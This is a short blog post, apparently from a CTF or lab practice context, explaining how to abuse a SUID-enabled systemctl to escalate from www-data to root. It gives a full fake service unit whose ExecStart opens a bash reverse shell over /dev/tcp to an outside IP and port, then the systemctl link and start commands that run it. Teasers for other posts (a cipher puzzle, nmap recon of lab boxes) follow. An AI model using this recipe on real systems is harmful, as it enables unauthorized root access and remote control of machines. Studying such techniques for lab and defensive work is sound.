Skip to main content

Abusing systemctl SUID for reverse shell




Today I came across a box that had the SUID set for systemctl

connected as the apache user www-data I was able to get a root reverse shell.

This is to document how to use this for privilege escalation.

I used a bit from this blog

and a bit from here too



Step1.

Create a fake service I named my LegitService.service

I placed it in the /tmp directory on the server.


[Unit]
UNIT=LegitService
Description=Black magic happening, avert your eyes

[Service]
RemainAfterExit=yes
Type=simple
ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done"

[Install]
WantedBy=default.target


Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders


systemctl link /tmp/LegitService.service



Then I just needed to start the service using systemctl



 systemctl start LegitService.service





Then  I got my shell back
Labels:

Comments

Post a Comment

Popular posts from this blog

RingZero CTF - Cyrptography - You're Drunk

RingZero CTF - Cyptography - Your're Drunk Problem: Ayowe awxewr nwaalfw die tiy rgw fklf ua xgixiklrw! Tiy lew qwkxinw. Solution: So just looking at this one it looks like its formatted as a sentence. There is spacing between words, punctuation and capitalization. At fist I thought Cesar cipher, but I ran through some shifts and none of them came back with english words. So then I though substitution cipher. We know from frequency analysis of the English language some good starting points. The most common letter would be "E" The most common double letters would be "OO", "EE" and"SS"  so let start with that and see what we can come up with This site is a great resource for some of the assumptions I'm making here ( http://practicalcryptography.com/ciphers/monoalphabetic-substitution-category/simple-substitution/ ) I used this website to count the letter frequency for me ( https://www.dcode.fr/frequency-analysis ) ...
Post a Comment
Read more

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar...
Post a Comment
Read more

De-ICE: S1.140 - Write up

De-ICE: S1.140 https://www.vulnhub.com/entry/de-ice-s1140,57/ I've been doing a lot of hackthebox.eu boxes, I've decided to take a small break from those and focus on other vuln boxes for a while, A colleague told me about these ICE boxes he did for labs during school. So  I decided to check them out. Recon Since these are live CD's the first thing I need to do is find out the ip address of the live CD VM i'm running. My home network is 192.168.50.0/24 so I started with a small updown nmap scan of my entire subnet to find the target VM nmap -T4 -oX /root/Desktop/ice/nmap.xml 192.168.50.0/24 I then converted the XML output to HTML to make it pretty xsltproc /root/Desktop/ice/nmap.xml -o /root/Desktop/ice/nmap.html Found the target at 192.168.50.176 So now let's rescan the open ports with the -A switch to finger the OS/Services Let's recap what we found Port 21 PROFTPD 1.3.4a Port 22 OPenSSH 5.9p1 Port 80 Apa...
Post a Comment
Read more